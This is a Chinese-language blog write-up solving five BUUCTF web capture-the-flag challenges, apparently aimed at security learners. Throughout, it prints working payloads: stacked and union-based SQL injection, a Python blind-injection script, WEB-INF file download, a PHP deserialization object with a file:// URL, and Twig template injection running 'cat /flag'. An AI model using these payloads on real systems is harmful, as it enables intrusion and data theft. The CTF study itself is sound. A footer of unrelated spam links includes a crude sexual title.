BUUCTF-WEB(31-35)

[GYCTF2020]Blacklist

参考:

[GYCTF2020]Blacklist 1详解(handler命令用法!)-CSDN博客

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

过滤了这些内容。包括大写,由于是正则匹配,无法双写绕过

这里其实我又试了试注释符绕过,但是没有任何回显

image-20240523085329782

但是我发现可以堆叠注入,因为这道题的框我前面见过,那道题的升级版

爆数据库

1';show database;#

image-20240523090527187

爆表

1';show tables;#

image-20240523090608414

爆列:

1';show columns from FlagHere;#

image-20240523090732274

看了wp,学到了handler这个命令

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

image-20240523091112744

[CISCN2019 华北赛区 Day2 Web1]Hack World

参考:

[BUUCTF:CISCN2019 华北赛区 Day2 Web1]Hack World-CSDN博客

[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解-阿里云开发者社区 (aliyun.com)

表还有字段都有了,然后盲注

大佬的脚本:

# -*- coding:utf-8 -*-
# Author: mochu7
import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			if 'Hello' in res.text:
				flag += i
				print(flag)
			else:
				continue
	print(flag)


if __name__ == '__main__':
	url = 'http://6536f1ec-e085-4588-bc35-c00a2ac6b093.node5.buuoj.cn:81/index.php'
	blind_injection(url)

这边跑出来了,交flag对不了,也挺奇怪

[RoarCTF 2019]Easy Java

参考:

[刷题RoarCTF 2019]Easy Java - kar3a - 博客园 (cnblogs.com)

[(详解)RoarCTF 2019]Easy Java-CSDN博客

[RoarCTF 2019]Easy Java - 春告鳥 - 博客园 (cnblogs.com)

我对java这个网站不太了解,所以也是直接看师傅们的博客了

这里也是打开help这个链接,之后发现可能有下载的漏洞

image-20240523121003711

但是是下载不了的,我们改成POST请求就可以成功发送请求,下载文件

下载了help.docx是没有flag的

image-20240523121036350

翻了师傅们的博客,知道

 WEB-INF主要包含一下文件或目录:
    /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
    /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
    /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
    /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
    /WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码 

那我们POST发送

filename=/WEB-INF/web.xml

下载后也是发现了关键信息

image-20240523121415299

然后下载

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

给代码里面的base64解密得到flag

image-20240523121852077

[网鼎杯 2018]Fakebook

参考:

[BUUCTF:网鼎杯 2018]Fakebook_fakebook buuctf-CSDN博客

[buuctf-网鼎杯 2018]Fakebook 1 - junlebao - 博客园 (cnblogs.com)

目录扫描,找到了robots.txt,flag.php

image-20240523184123241

访问了一下,什么没有

但是我看wp这里都说是user.php.bak

我们下载下来发现是个反序列化

image-20240523185245020

注册账号后发现有个no参数,我们尝试注入一下

image-20240523185713314

输入1',根据报错应该是数字型的

image-20240523185748896

爆字段数,一共有四个

1 order by 5

image-20240523185824824

爆回显位置,然后union select被过滤了,我们用注释绕过

-1 union/**/select 1,2,3,4

剩下就是正常注入

-1 union/**/select 1,database(),3,4  // 爆库
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where  table_schema='fakebook'  // 爆表
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where  table_schema='fakebook' and table_name='users' // 爆列
-1 union/**/select 1,group_concat(username,'-',passwd,'-',data),3,4 from fakebook.users // 爆数据

image-20240523190808126

我们发现这个data这个数据就是序列化的内容,我们再看一下那个文件

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

我们去构建反序列化的

image-20240523191222050

O:8:"UserInfo":3:{s:4:"name";s:9:"Muneyohsi";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

然后大佬说是尝试注入的时候,这样给他加入进去(data就在第四个字段)

-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"user";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

image-20240523191933677

插入之后点击,这个链接,查看源码就得到了

image-20240523191917125

[BJDCTF2020]The mystery of ip

参考:

[BUUCTF BJDCTF2020] The mystery of ip_buuctf[bjdctf2020]the mystery of ip-CSDN博客

Twig 模板注入从零到一 - 先知社区 (aliyun.com)

我刚开始扫描了一个.DS_Store的文件,以为是利用它

后面看了佬的wp就是他是根据XFF这个来判断的

我们抓包修改一下试试

X-Forwarded-For:1

image-20240523200418161

发现界面回显了1

image-20240523200430233

然后佬说

Flask可能存在Jinjia2模版注入漏洞
PHP可能存在Twig模版注入漏洞

然后测试

{{7*7}}

image-20240523200555557

{{system('cat /flag')}}

image-20240523200909863

热门相关:八零喜事:肥妻大翻身   女王   我嫂子说她喜欢被操   年轻的姑母   独自生活的女性们